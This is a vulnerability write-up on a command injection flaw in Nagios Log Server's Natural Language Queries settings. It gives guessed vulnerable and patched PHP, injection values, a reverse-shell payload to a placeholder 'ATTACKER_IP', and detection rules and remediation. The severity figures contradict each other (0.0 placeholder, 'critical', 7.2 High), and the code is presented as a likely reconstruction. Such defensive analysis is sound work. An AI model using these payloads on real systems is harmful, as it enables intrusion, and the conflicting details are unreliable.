CVE-2025-34322

Executive Summary

CVE-2025-34322 is a critical authenticated command injection vulnerability in Nagios Log Server versions prior to 2026R1.0.1. The flaw resides in the experimental "Natural Language Queries" feature, where user-controlled settings from the Global Settings page are unsafely concatenated into a shell command executed via shell_exec(). An authenticated attacker with access to the Global Settings page can inject arbitrary shell commands, leading to full compromise of the Log Server host as the www-data user. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the potential for remote code execution and lateral movement. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward for an authenticated user.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application vulnerability in Nagios Log Server.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires authenticated access to Global Settings
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. While authentication is required, the impact is complete system compromise. The vulnerability is trivial to exploit once authenticated.

Deep Dive & Mechanics

The vulnerability exists in the "Natural Language Queries" feature of Nagios Log Server. This feature is experimental and not enabled by default. When configured, the application reads settings such as model selection and connection parameters from the global configuration. These settings are then concatenated into a shell command string that is passed to shell_exec() without proper sanitization or escaping.

The vulnerable code path likely resembles:

$model = $_POST['model'];
$connection = $_POST['connection'];
$command = "python3 /usr/local/nagioslogserver/scripts/nlq.py --model " . $model . " --connection " . $connection;
$output = shell_exec($command);

An attacker can inject additional commands by providing values like:

• model: gpt-3.5-turbo; id
• connection: http://localhost:9200; whoami

This results in execution of id and whoami after the intended command.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2026R1.0.1):

$model = $_POST['model'];
$connection = $_POST['connection'];
$command = "python3 /usr/local/nagioslogserver/scripts/nlq.py --model " . $model . " --connection " . $connection;
$output = shell_exec($command);

Patched Code (2026R1.0.1+):

$model = escapeshellarg($_POST['model']);
$connection = escapeshellarg($_POST['connection']);
$command = "python3 /usr/local/nagioslogserver/scripts/nlq.py --model " . $model . " --connection " . $connection;
$output = shell_exec($command);

The patch uses escapeshellarg() to properly escape shell arguments, preventing injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials for a user with access to the Global Settings page.
• The "Natural Language Queries" feature must be enabled.

Exploitation Steps:

1. Log in to Nagios Log Server web interface.
2. Navigate to Admin > Global Settings.
3. Locate the "Natural Language Queries" section.
4. In the "Model" field, enter: gpt-3.5-turbo; id > /tmp/pwned
5. In the "Connection" field, enter: http://localhost:9200; whoami >> /tmp/pwned
6. Save the settings.
7. Trigger the feature (e.g., by performing a natural language query).
8. Verify execution by checking /tmp/pwned on the server.

Advanced Payload (Reverse Shell):

# Model field
gpt-3.5-turbo; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual shell command execution from the www-data user.
2. Audit Global Settings changes, especially to the "Natural Language Queries" fields.
3. Look for processes spawned by shell_exec() with suspicious arguments.
4. Check for outbound connections from the Nagios Log Server to unknown IPs on unusual ports.

Response:

1. Immediately isolate the affected server.
2. Review logs for command execution patterns.
3. Reset credentials for all users with Global Settings access.
4. Apply the patch by upgrading to 2026R1.0.1.
5. Perform forensic analysis to determine if lateral movement occurred.

Indicators of Compromise (IOCs)

File-Based IOCs:

• /tmp/pwned or similar files created by attackers.
• Unexpected files in /usr/local/nagioslogserver/scripts/.

Network IOCs:

• Outbound connections to attacker-controlled IPs on ports 4444, 8080, etc.
• Unusual DNS queries from the Nagios Log Server.

Process IOCs:

• Processes named nlq.py with unexpected arguments.
• Shell processes (e.g., bash, sh) spawned by the web server user.

Log IOCs:

• Entries in /var/log/nagioslogserver/ showing shell_exec calls with suspicious parameters.
• Audit logs showing changes to Global Settings for "Natural Language Queries".

Detection Engineering

YARA Rule

rule CVE_2025_34322_Nagios_Log_Server_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-34322 in Nagios Log Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34322"
        severity = "high"
    strings:
        $s1 = "shell_exec" nocase
        $s2 = "nlq.py" nocase
        $s3 = "Natural Language Queries" nocase
        $s4 = "Global Settings" nocase
        $s5 = "escapeshellarg" nocase
    condition:
        ($s1 and $s2) or ($s3 and $s4 and not $s5)
}

Sigma Rule

title: CVE-2025-34322 Nagios Log Server Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts via Natural Language Queries in Nagios Log Server
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34322
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/php'
        CommandLine|contains: 'shell_exec'
        CommandLine|contains: 'nlq.py'
    condition: selection
falsepositives:
    - Legitimate use of Natural Language Queries feature (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34322 Nagios Log Server Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/globalsettings.php"; http_uri; content:"model="; nocase; content:"Connection="; nocase; pcre:"/(model|Connection)=[^&]*[;&|`]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Nagios Log Server 2026R1.0.1 or later.
2. If upgrade is not possible, disable the "Natural Language Queries" feature in Global Settings.
3. Restrict access to the Global Settings page to only trusted administrators.

Long-Term Measures:

1. Implement input validation and output encoding for all user-controlled data.
2. Use parameterized commands or safe APIs instead of shell_exec().
3. Conduct regular security audits of custom PHP code.
4. Enable logging and monitoring for all administrative actions.

Workaround:

• Remove or comment out the shell_exec() call in the Natural Language Queries code until a patch is applied.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert